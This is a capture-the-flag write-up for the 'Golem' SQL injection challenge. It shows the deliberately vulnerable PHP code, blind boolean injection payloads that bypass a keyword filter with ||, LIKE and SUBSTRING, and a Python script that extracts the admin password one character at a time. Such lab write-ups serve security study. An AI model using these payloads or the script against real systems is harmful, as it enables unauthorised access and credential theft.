Golem

Blind-boolean based, enumerate password without using "OR", "AND", "SUBSTR", or "='

This challenge builds on the "Orge" challenge.

Code

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(preg_match('/or|and|substr\(|=/i', $_GET[pw])) exit("HeHe"); 
  $query = "select id from prob_golem where id='guest' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_golem where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("golem"); 
  highlight_file(__FILE__); 
?>

Line 6: preg_match filters the the use of 'OR', 'AND', SUBSTR(, and "=".

Line 13: Query obtains a user-supplied value and assigns it to "pw",

Line 15: Then compares the user-supplied value to the "pw" value stored for the 'admin' user. If they are equal, the challenge will be solved.

Query

SELECT id FROM prob_golem WHERE id='admin' AND pw=''

Testing

Vulnerable parameter is "pw".

Since the use of 'OR', 'AND', 'SUBSTR(', and '=' are prohibited, they be substituted with ||, &&, SUBSTRING, and LIKE, respectively.

pw=' OR id = 'admin' becomes:

pw=' || id LIKE 'admin' and returns "Hello admin" indicating a true statement.

Using "length"

The length of the string stored in "pw" can be derived using "length".

pw=' || length(pw) LIKE 1%23 returns nothing, indicating a false statement.

Incrementing the value sequentially eventually results in:

pw=' || length(pw) LIKE 8%23

which returns "Hello admin" indicating a true statement indicating the string is 8 characters long.

Using "SUBSTR"

By using "SUBSTRING" in place of "SUBSTR" the stored value can be guessed 1 character at a time.

pw=' || SUBSTRING(pw, 1, 1) LIKE 0%23

  • ||: Logical operator 'OR'.

  • SUBSTRING(pw, 1, 1) LIKE 0: This part is checking whether the first character of the pw (password) field is equal to 0.

  • %23: This is URL-encoded #.

In order to derive the stored value, each character can be enumerated individually by checking if the character in each start position is equal to a character in the ascii printable charset.

This is a tedious process.

Previously it was discovered that the stored string is 8 characters long so the process will need to be done 8 times, once for each character.

Steps

Checking if the first character of stored value is equal to 7 pw=' || SUBSTRING(pw, 1, 1) LIKE 7%23 returns "Hello admin" : True

2nd character is equal to '7' pw=' || SUBSTRING(pw, 2, 1) LIKE 7%23

3rd character is equal to 'd' pw=' || SUBSTRING(pw, 3, 1) LIKE d%23

4th character is equal to '6' pw=' || SUBSTRING(pw, 4, 1) LIKE 6%23

5th character is equal to '2' pw=' || SUBSTRING(pw, 5, 1) LIKE 2%23

6th character is equal to '9' pw=' || SUBSTRING(pw, 6, 1) LIKE 9%23

7th character is equal to '0' pw=' || SUBSTRING(pw, 7, 1) LIKE 0%23

8th character is equal to 'b' pw=' || SUBSTRING(pw, 8, 1) LIKE b%23

Incrementing the start position as each character is guessed eventually reveals the value stored of 77d6290b.

Finally, the challenge is solved with: pw=77d6290b

Effective Query

SELECT id FROM prob_golem WHERE id='admin' AND pw='77d6290b'

Python Script

import requests
import string
import urllib.parse

# Define constants
TARGET_URL = "https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php?pw="
COOKIE = {"PHPSESSID": "4qeps28bu02omhqapjte0rjerm"}

# Initialize variables
pw_length = 0
passwd = ""

# Determine password length
for length_guess in range(1, 9):
    url = TARGET_URL + urllib.parse.quote("' || length(pw) like {}#".format(length_guess))
    response = requests.get(url, cookies=COOKIE)

    if "Hello admin" in response.text:
        print(f"pw length = {length_guess}")
        pw_length = length_guess

# Retrieve password
for x in range(pw_length + 1):
    for ascii_code in range(48, 122):
        url = TARGET_URL + "1' || " + urllib.parse.quote("substring(pw,{},1) like '{}".format(str(x), chr(ascii_code)))
        response = requests.get(url, cookies=COOKIE)

        if "Hello admin" in response.text:
            print(passwd)
            passwd += chr(ascii_code)
            break

# Print password
print(f"Password = {passwd}")

Last updated